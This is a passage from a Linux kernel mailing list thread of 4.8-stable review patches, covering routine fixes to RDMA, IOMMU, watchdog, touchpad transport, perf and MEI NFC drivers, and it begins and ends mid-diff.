 	cqe = wc->wr_cqe;
 	frmr = container_of(cqe, struct rpcrdma_frmr, fr_cqe);
-	if (wc->status != IB_WC_SUCCESS)
-		__frwr_sendcompletion_flush(wc, frmr, "localinv");
+	if (wc->status != IB_WC_SUCCESS) {
+		frmr->fr_state = FRMR_FLUSHED_LI;
+		__frwr_sendcompletion_flush(wc, "localinv");
+	}
 	complete(&frmr->fr_linv_done);
 }
 
--- a/net/sunrpc/xprtrdma/xprt_rdma.h
+++ b/net/sunrpc/xprtrdma/xprt_rdma.h
@@ -207,7 +207,8 @@ struct rpcrdma_rep {
 enum rpcrdma_frmr_state {
 	FRMR_IS_INVALID,	/* ready to be used */
 	FRMR_IS_VALID,		/* in use */
-	FRMR_IS_STALE,		/* failed completion */
+	FRMR_FLUSHED_FR,	/* flushed FASTREG WR */
+	FRMR_FLUSHED_LI,	/* flushed LOCALINV WR */
 };
 
 struct rpcrdma_frmr {

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 53/92] iommu/io-pgtable-arm: Check for v7s-incapable systems
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (42 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 52/92] xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 54/92] iommu/amd: Free domain id when free a domain of struct dma_ops_domain Greg Kroah-Hartman
                     ` (35 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Eric Auger, Robin Murphy, Will Deacon

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Robin Murphy <robin.murphy@arm.com>

commit 82db33dc5e49fb625262d81125625d07a0d6184e upstream.

On machines with no 32-bit addressable RAM whatsoever, we shouldn't
even touch the v7s format as it's never going to work.

Fixes: e5fc9753b1a8 ("iommu/io-pgtable: Add ARMv7 short descriptor support")
Reported-by: Eric Auger <eric.auger@redhat.com>
Tested-by: Eric Auger <eric.auger@redhat.com>
Signed-off-by: Robin Murphy <robin.murphy@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/iommu/io-pgtable-arm-v7s.c |    4 ++++
 1 file changed, 4 insertions(+)

--- a/drivers/iommu/io-pgtable-arm-v7s.c
+++ b/drivers/iommu/io-pgtable-arm-v7s.c
@@ -633,6 +633,10 @@ static struct io_pgtable *arm_v7s_alloc_
 {
 	struct arm_v7s_io_pgtable *data;
 
+#ifdef PHYS_OFFSET
+	if (upper_32_bits(PHYS_OFFSET))
+		return NULL;
+#endif
 	if (cfg->ias > ARM_V7S_ADDR_BITS || cfg->oas > ARM_V7S_ADDR_BITS)
 		return NULL;
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 54/92] iommu/amd: Free domain id when free a domain of struct dma_ops_domain
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (43 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 53/92] iommu/io-pgtable-arm: Check for v7s-incapable systems Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 55/92] iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path Greg Kroah-Hartman
                     ` (34 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Baoquan He, Joerg Roedel

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Baoquan He <bhe@redhat.com>

commit c3db901c54466a9c135d1e6e95fec452e8a42666 upstream.

The current code missed freeing domain id when free a domain of
struct dma_ops_domain.

Signed-off-by: Baoquan He <bhe@redhat.com>
Fixes: ec487d1a110a ('x86, AMD IOMMU: add domain allocation and deallocation functions')
Signed-off-by: Joerg Roedel <jroedel@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/iommu/amd_iommu.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/drivers/iommu/amd_iommu.c
+++ b/drivers/iommu/amd_iommu.c
@@ -1654,6 +1654,9 @@ static void dma_ops_domain_free(struct d
 
 	free_pagetable(&dom->domain);
 
+	if (dom->domain.id)
+		domain_id_free(dom->domain.id);
+
 	kfree(dom);
 }
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 55/92] iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (44 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 54/92] iommu/amd: Free domain id when free a domain of struct dma_ops_domain Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 57/92] watchdog: core: Fix devres_alloc() allocation size Greg Kroah-Hartman
                     ` (33 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Joerg Roedel

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Joerg Roedel <jroedel@suse.de>

commit bea64033dd7b5fb6296eda8266acab6364ce1554 upstream.

It turns out that the disable_dmar_iommu() code-path tried
to get the device_domain_lock recursivly, which will
dead-lock when this code runs on dmar removal. Fix both
code-paths that could lead to the dead-lock.

Fixes: 55d940430ab9 ('iommu/vt-d: Get rid of domain->iommu_lock')
Signed-off-by: Joerg Roedel <jroedel@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/iommu/intel-iommu.c |   14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -1711,6 +1711,7 @@ static void disable_dmar_iommu(struct in
 	if (!iommu->domains || !iommu->domain_ids)
 		return;
 
+again:
 	spin_lock_irqsave(&device_domain_lock, flags);
 	list_for_each_entry_safe(info, tmp, &device_domain_list, global) {
 		struct dmar_domain *domain;
@@ -1723,10 +1724,19 @@ static void disable_dmar_iommu(struct in
 
 		domain = info->domain;
 
-		dmar_remove_one_dev_info(domain, info->dev);
+		__dmar_remove_one_dev_info(info);
 
-		if (!domain_type_is_vm_or_si(domain))
+		if (!domain_type_is_vm_or_si(domain)) {
+			/*
+			 * The domain_exit() function  can't be called under
+			 * device_domain_lock, as it takes this lock itself.
+			 * So release the lock here and re-run the loop
+			 * afterwards.
+			 */
+			spin_unlock_irqrestore(&device_domain_lock, flags);
 			domain_exit(domain);
+			goto again;
+		}
 	}
 	spin_unlock_irqrestore(&device_domain_lock, flags);
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 57/92] watchdog: core: Fix devres_alloc() allocation size
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (45 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 55/92] iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 58/92] Input: synaptics-rmi4 - fix error handling in SPI transport driver Greg Kroah-Hartman
                     ` (32 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Neil Armstrong, Guenter Roeck,
	Wim Van Sebroeck

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Guenter Roeck <linux@roeck-us.net>

commit 2e91838bf7ffdedabdb29e091207d6531d04ef4f upstream.

Coverity reports:

Passing argument 152UL /* sizeof (*wdd) */ to function __devres_alloc_node
and then casting the return value to struct watchdog_device ** is
suspicious.

Allocation size needs to be sizeof(*rcwdd), not sizeof(*wdd).

Fixes: 83fbae5a148c ("watchdog: Add a device managed API for ...")
Cc: Neil Armstrong <narmstrong@baylibre.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
Acked-by: Neil Armstrong <narmstrong@baylibre.com>
Signed-off-by: Wim Van Sebroeck <wim@iguana.be>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/watchdog/watchdog_core.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/watchdog/watchdog_core.c
+++ b/drivers/watchdog/watchdog_core.c
@@ -349,7 +349,7 @@ int devm_watchdog_register_device(struct
 	struct watchdog_device **rcwdd;
 	int ret;
 
-	rcwdd = devres_alloc(devm_watchdog_unregister_device, sizeof(*wdd),
+	rcwdd = devres_alloc(devm_watchdog_unregister_device, sizeof(*rcwdd),
 			     GFP_KERNEL);
 	if (!rcwdd)
 		return -ENOMEM;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 58/92] Input: synaptics-rmi4 - fix error handling in SPI transport driver
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (46 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 57/92] watchdog: core: Fix devres_alloc() allocation size Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 59/92] Input: synaptics-rmi4 - fix error handling in I2C " Greg Kroah-Hartman
                     ` (31 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Guenter Roeck, Dmitry Torokhov

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Guenter Roeck <linux@roeck-us.net>

commit bbc2ceeb3220e54c7574f0b5e3a252fd9a62cf8a upstream.

Instantiating the rmi4 SPI transport driver without an interrupt assigned
caused the driver to fail to load, but it does not clean up its transport
device registration. Result may be a crash at a later time, for example
when rebooting the system.

Fixes: 8d99758dee31 ("Input: synaptics-rmi4 - add SPI transport driver")
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/input/rmi4/rmi_spi.c |   22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

--- a/drivers/input/rmi4/rmi_spi.c
+++ b/drivers/input/rmi4/rmi_spi.c
@@ -396,6 +396,13 @@ static inline int rmi_spi_of_probe(struc
 }
 #endif
 
+static void rmi_spi_unregister_transport(void *data)
+{
+	struct rmi_spi_xport *rmi_spi = data;
+
+	rmi_unregister_transport_device(&rmi_spi->xport);
+}
+
 static int rmi_spi_probe(struct spi_device *spi)
 {
 	struct rmi_spi_xport *rmi_spi;
@@ -464,6 +471,11 @@ static int rmi_spi_probe(struct spi_devi
 		dev_err(&spi->dev, "failed to register transport.\n");
 		return retval;
 	}
+	retval = devm_add_action_or_reset(&spi->dev,
+					  rmi_spi_unregister_transport,
+					  rmi_spi);
+	if (retval)
+		return retval;
 
 	retval = rmi_spi_init_irq(spi);
 	if (retval < 0)
@@ -473,15 +485,6 @@ static int rmi_spi_probe(struct spi_devi
 	return 0;
 }
 
-static int rmi_spi_remove(struct spi_device *spi)
-{
-	struct rmi_spi_xport *rmi_spi = spi_get_drvdata(spi);
-
-	rmi_unregister_transport_device(&rmi_spi->xport);
-
-	return 0;
-}
-
 #ifdef CONFIG_PM_SLEEP
 static int rmi_spi_suspend(struct device *dev)
 {
@@ -577,7 +580,6 @@ static struct spi_driver rmi_spi_driver
 	},
 	.id_table	= rmi_id,
 	.probe		= rmi_spi_probe,
-	.remove		= rmi_spi_remove,
 };
 
 module_spi_driver(rmi_spi_driver);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 59/92] Input: synaptics-rmi4 - fix error handling in I2C transport driver
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (47 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 58/92] Input: synaptics-rmi4 - fix error handling in SPI transport driver Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 60/92] perf top: Fix refreshing hierarchy entries on TUI Greg Kroah-Hartman
                     ` (30 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Bjorn Andersson, Guenter Roeck,
	Dmitry Torokhov

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Guenter Roeck <linux@roeck-us.net>

commit 261d7794c49b9a3bb5115c5ffc452e00f969bf43 upstream.

Instantiating the rmi4 I2C transport driver without interrupts assigned
(for example using manual i2c instantiation from the command line)
caused the driver to fail to load, but it does not clean up its regulator
or transport device registrations. Result is a crash at a later time,
for example when rebooting the system.

Fixes: 946c8432aab0 ("Input: synaptics-rmi4 - support regulator supplies")
Cc: Bjorn Andersson <bjorn.andersson@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/input/rmi4/rmi_i2c.c |   38 ++++++++++++++++++++++++++------------
 1 file changed, 26 insertions(+), 12 deletions(-)

--- a/drivers/input/rmi4/rmi_i2c.c
+++ b/drivers/input/rmi4/rmi_i2c.c
@@ -221,6 +221,21 @@ static const struct of_device_id rmi_i2c
 MODULE_DEVICE_TABLE(of, rmi_i2c_of_match);
 #endif
 
+static void rmi_i2c_regulator_bulk_disable(void *data)
+{
+	struct rmi_i2c_xport *rmi_i2c = data;
+
+	regulator_bulk_disable(ARRAY_SIZE(rmi_i2c->supplies),
+			       rmi_i2c->supplies);
+}
+
+static void rmi_i2c_unregister_transport(void *data)
+{
+	struct rmi_i2c_xport *rmi_i2c = data;
+
+	rmi_unregister_transport_device(&rmi_i2c->xport);
+}
+
 static int rmi_i2c_probe(struct i2c_client *client,
 			 const struct i2c_device_id *id)
 {
@@ -264,6 +279,12 @@ static int rmi_i2c_probe(struct i2c_clie
 	if (retval < 0)
 		return retval;
 
+	retval = devm_add_action_or_reset(&client->dev,
+					  rmi_i2c_regulator_bulk_disable,
+					  rmi_i2c);
+	if (retval)
+		return retval;
+
 	of_property_read_u32(client->dev.of_node, "syna,startup-delay-ms",
 			     &rmi_i2c->startup_delay);
 
@@ -294,6 +315,11 @@ static int rmi_i2c_probe(struct i2c_clie
 			client->addr);
 		return retval;
 	}
+	retval = devm_add_action_or_reset(&client->dev,
+					  rmi_i2c_unregister_transport,
+					  rmi_i2c);
+	if (retval)
+		return retval;
 
 	retval = rmi_i2c_init_irq(client);
 	if (retval < 0)
@@ -304,17 +330,6 @@ static int rmi_i2c_probe(struct i2c_clie
 	return 0;
 }
 
-static int rmi_i2c_remove(struct i2c_client *client)
-{
-	struct rmi_i2c_xport *rmi_i2c = i2c_get_clientdata(client);
-
-	rmi_unregister_transport_device(&rmi_i2c->xport);
-	regulator_bulk_disable(ARRAY_SIZE(rmi_i2c->supplies),
-			       rmi_i2c->supplies);
-
-	return 0;
-}
-
 #ifdef CONFIG_PM_SLEEP
 static int rmi_i2c_suspend(struct device *dev)
 {
@@ -431,7 +446,6 @@ static struct i2c_driver rmi_i2c_driver
 	},
 	.id_table	= rmi_id,
 	.probe		= rmi_i2c_probe,
-	.remove		= rmi_i2c_remove,
 };
 
 module_i2c_driver(rmi_i2c_driver);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 60/92] perf top: Fix refreshing hierarchy entries on TUI
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (48 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 59/92] Input: synaptics-rmi4 - fix error handling in I2C " Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 61/92] mei: bus: fix received data size check in NFC fixup Greg Kroah-Hartman
                     ` (29 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Namhyung Kim,
	Arnaldo Carvalho de Melo, Andi Kleen, Jiri Olsa, Peter Zijlstra

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Namhyung Kim <namhyung@kernel.org>

commit c611152373e84a7677cd7d496e849de4debdab66 upstream.

Markus reported that 'perf top --hierarchy' cannot scroll down after
refresh.  This was because the number of entries are not updated when
hierarchy is enabled.

Unlike normal report view, hierarchy mode needs to keep its own entry
count since it can have non-leaf entries which can expand/collapse.

Reported-and-Tested-by: Markus Trippelsdorf <markus@trippelsdorf.de>
Signed-off-by: Namhyung Kim <namhyung@kernel.org>
Tested-by: Arnaldo Carvalho de Melo <acme@redhat.com>
Cc: Andi Kleen <andi@firstfloor.org>
Cc: Jiri Olsa <jolsa@kernel.org>
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
Fixes: f5b763feebe9 ("perf hists browser: Count number of hierarchy entries")
Link: http://lkml.kernel.org/r/20161007050412.3000-1-namhyung@kernel.org
Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 tools/perf/ui/browsers/hists.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- a/tools/perf/ui/browsers/hists.c
+++ b/tools/perf/ui/browsers/hists.c
@@ -595,7 +595,8 @@ int hist_browser__run(struct hist_browse
 			u64 nr_entries;
 			hbt->timer(hbt->arg);
 
-			if (hist_browser__has_filter(browser))
+			if (hist_browser__has_filter(browser) ||
+			    symbol_conf.report_hierarchy)
 				hist_browser__update_nr_entries(browser);
 
 			nr_entries = hist_browser__nr_entries(browser);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 61/92] mei: bus: fix received data size check in NFC fixup
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (49 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 60/92] perf top: Fix refreshing hierarchy entries on TUI Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 62/92] svcrdma: Skip put_page() when send_reply() fails Greg Kroah-Hartman
                     ` (28 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Alexander Usyskin, Tomas Winkler

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Alexander Usyskin <alexander.usyskin@intel.com>

commit 582ab27a063a506ccb55fc48afcc325342a2deba upstream.

NFC version reply size checked against only header size, not against
full message size. That may lead potentially to uninitialized memory access
in version data.

That leads to warnings when version data is accessed:
drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]:  => 212:2

Reported in
Build regressions/improvements in v4.9-rc3
https://lkml.org/lkml/2016/10/30/57

Fixes: 59fcd7c63abf (mei: nfc: Initial nfc implementation)
Signed-off-by: Alexander Usyskin <alexander.usyskin@intel.com>
Signed-off-by: Tomas Winkler <tomas.winkler@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/misc/mei/bus-fixup.c |    2 +-
 drivers/nfc/mei_phy.c        |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- a/drivers/misc/mei/bus-fixup.c
+++ b/drivers/misc/mei/bus-fixup.c
@@ -178,7 +178,7 @@ static int mei_nfc_if_version(struct mei
 
 	ret = 0;
 	bytes_recv = __mei_cl_recv(cl, (u8 *)reply, if_version_length);
-	if (bytes_recv < 0 || bytes_recv < sizeof(struct mei_nfc_reply)) {
+	if (bytes_recv < if_version_length) {
 		dev_err(bus->dev, "Could not read IF version\n");
 		ret = -EIO;
 		goto err;
--- a/drivers/nfc/mei_phy.c
+++ b/drivers/nfc/mei_phy.c
@@ -133,7 +133,7 @@ static int mei_nfc_if_version(struct nfc
 		return -ENOMEM;
 
 	bytes_recv = mei_cldev_recv(phy->cldev, (u8 *)reply, if_version_length);
-	if (bytes_recv < 0 || bytes_recv < sizeof(struct mei_nfc_reply)) {
+	if (bytes_recv < 0 || bytes_recv < if_version_length) {
 		pr_err("Could not read IF version\n");
 		r = -EIO;
 		goto err;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 62/92] svcrdma: Skip put_page() when send_reply() fails
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (50 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 61/92] mei: bus: fix received data size check in NFC fixup Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 63/92] svcrdma: Tail iovec leaves an orphaned DMA mapping Greg Kroah-Hartman
                     ` (27 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Chuck Lever, J. Bruce Fields

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Chuck Lever <chuck.lever@oracle.com>

commit 9995237bba702281e0e8e677edd5bb225f4f6c30 upstream.

Message from syslogd@klimt at Aug 18 17:00:37 ...
 kernel:page:ffffea0020639b00 count:0 mapcount:0 mapping:          (null) index:0x0
Aug 18 17:00:37 klimt kernel: flags: 0x2fffff80000000()
Aug 18 17:00:37 klimt kernel: page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0)

Aug 18 17:00:37 klimt kernel: kernel BUG at /home/cel/src/linux/linux-2.6/include/linux/mm.h:445!
Aug 18 17:00:37 klimt kernel: RIP: 0010:[<ffffffffa05c21c1>] svc_rdma_sendto+0x641/0x820 [rpcrdma]

send_reply() assigns its page argument as the first page of ctxt. On
error, send_reply() already invokes svc_rdma_put_context(ctxt, 1);
which does a put_page() on that very page. No need to do that again
as svc_rdma_sendto exits.

Fixes: 3e1eeb980822 ("svcrdma: Close connection when a send error occurs")
Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
Signed-off-by: J. Bruce Fields <bfields@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 net/sunrpc/xprtrdma/svc_rdma_sendto.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/sunrpc/xprtrdma/svc_rdma_sendto.c
+++ b/net/sunrpc/xprtrdma/svc_rdma_sendto.c
@@ -635,7 +635,7 @@ int svc_rdma_sendto(struct svc_rqst *rqs
 	ret = send_reply(rdma, rqstp, res_page, rdma_resp, vec,
 			 inline_bytes);
 	if (ret < 0)
-		goto err1;
+		goto err0;
 
 	svc_rdma_put_req_map(rdma, vec);
 	dprintk("svcrdma: send_reply returns %d\n", ret);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 63/92] svcrdma: Tail iovec leaves an orphaned DMA mapping
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (51 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 62/92] svcrdma: Skip put_page() when send_reply() fails Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 64/92] nvme: Delete created IO queues on reset Greg Kroah-Hartman
                     ` (26 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Chuck Lever, J. Bruce Fields

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Chuck Lever <chuck.lever@oracle.com>

commit cace564f8b6260e806f5e28d7f192fd0e0c603ed upstream.

The ctxt's count field is overloaded to mean the number of pages in
the ctxt->page array and the number of SGEs in the ctxt->sge array.
Typically these two numbers are the same.

However, when an inline RPC reply is constructed from an xdr_buf
with a tail iovec, the head and tail often occupy the same page,
but each are DMA mapped independently. In that case, ->count equals
the number of pages, but it does not equal the number of SGEs.
There's one more SGE, for the tail iovec. Hence there is one more
DMA mapping than there are pages in the ctxt->page array.

This isn't a real problem until the server's iommu is enabled. Then
each RPC reply that has content in that iovec orphans a DMA mapping
that consists of real resources.

krb5i and krb5p always populate that tail iovec. After a couple
million sent krb5i/p RPC replies, the NFS server starts behaving
erratically. Reboot is needed to clear the problem.

Fixes: 9d11b51ce7c1 ("svcrdma: Fix send_reply() scatter/gather set-up")
Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
Signed-off-by: J. Bruce Fields <bfields@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 include/linux/sunrpc/svc_rdma.h            |    9 +++++++++
 net/sunrpc/xprtrdma/svc_rdma_backchannel.c |    2 +-
 net/sunrpc/xprtrdma/svc_rdma_recvfrom.c    |    2 +-
 net/sunrpc/xprtrdma/svc_rdma_sendto.c      |   22 ++++------------------
 net/sunrpc/xprtrdma/svc_rdma_transport.c   |   18 ++++++++++++------
 5 files changed, 27 insertions(+), 26 deletions(-)

--- a/include/linux/sunrpc/svc_rdma.h
+++ b/include/linux/sunrpc/svc_rdma.h
@@ -86,6 +86,7 @@ struct svc_rdma_op_ctxt {
 	unsigned long flags;
 	enum dma_data_direction direction;
 	int count;
+	unsigned int mapped_sges;
 	struct ib_sge sge[RPCSVC_MAXPAGES];
 	struct page *pages[RPCSVC_MAXPAGES];
 };
@@ -193,6 +194,14 @@ struct svcxprt_rdma {
 
 #define RPCSVC_MAXPAYLOAD_RDMA	RPCSVC_MAXPAYLOAD
 
+/* Track DMA maps for this transport and context */
+static inline void svc_rdma_count_mappings(struct svcxprt_rdma *rdma,
+					   struct svc_rdma_op_ctxt *ctxt)
+{
+	ctxt->mapped_sges++;
+	atomic_inc(&rdma->sc_dma_used);
+}
+
 /* svc_rdma_backchannel.c */
 extern int svc_rdma_handle_bc_reply(struct rpc_xprt *xprt,
 				    struct rpcrdma_msg *rmsgp,
--- a/net/sunrpc/xprtrdma/svc_rdma_backchannel.c
+++ b/net/sunrpc/xprtrdma/svc_rdma_backchannel.c
@@ -129,7 +129,7 @@ static int svc_rdma_bc_sendto(struct svc
 		ret = -EIO;
 		goto out_unmap;
 	}
-	atomic_inc(&rdma->sc_dma_used);
+	svc_rdma_count_mappings(rdma, ctxt);
 
 	memset(&send_wr, 0, sizeof(send_wr));
 	ctxt->cqe.done = svc_rdma_wc_send;
--- a/net/sunrpc/xprtrdma/svc_rdma_recvfrom.c
+++ b/net/sunrpc/xprtrdma/svc_rdma_recvfrom.c
@@ -159,7 +159,7 @@ int rdma_read_chunk_lcl(struct svcxprt_r
 					   ctxt->sge[pno].addr);
 		if (ret)
 			goto err;
-		atomic_inc(&xprt->sc_dma_used);
+		svc_rdma_count_mappings(xprt, ctxt);
 
 		ctxt->sge[pno].lkey = xprt->sc_pd->local_dma_lkey;
 		ctxt->sge[pno].length = len;
--- a/net/sunrpc/xprtrdma/svc_rdma_sendto.c
+++ b/net/sunrpc/xprtrdma/svc_rdma_sendto.c
@@ -280,7 +280,7 @@ static int send_write(struct svcxprt_rdm
 		if (ib_dma_mapping_error(xprt->sc_cm_id->device,
 					 sge[sge_no].addr))
 			goto err;
-		atomic_inc(&xprt->sc_dma_used);
+		svc_rdma_count_mappings(xprt, ctxt);
 		sge[sge_no].lkey = xprt->sc_pd->local_dma_lkey;
 		ctxt->count++;
 		sge_off = 0;
@@ -489,7 +489,7 @@ static int send_reply(struct svcxprt_rdm
 			    ctxt->sge[0].length, DMA_TO_DEVICE);
 	if (ib_dma_mapping_error(rdma->sc_cm_id->device, ctxt->sge[0].addr))
 		goto err;
-	atomic_inc(&rdma->sc_dma_used);
+	svc_rdma_count_mappings(rdma, ctxt);
 
 	ctxt->direction = DMA_TO_DEVICE;
 
@@ -505,7 +505,7 @@ static int send_reply(struct svcxprt_rdm
 		if (ib_dma_mapping_error(rdma->sc_cm_id->device,
 					 ctxt->sge[sge_no].addr))
 			goto err;
-		atomic_inc(&rdma->sc_dma_used);
+		svc_rdma_count_mappings(rdma, ctxt);
 		ctxt->sge[sge_no].lkey = rdma->sc_pd->local_dma_lkey;
 		ctxt->sge[sge_no].length = sge_bytes;
 	}
@@ -523,23 +523,9 @@ static int send_reply(struct svcxprt_rdm
 		ctxt->pages[page_no+1] = rqstp->rq_respages[page_no];
 		ctxt->count++;
 		rqstp->rq_respages[page_no] = NULL;
-		/*
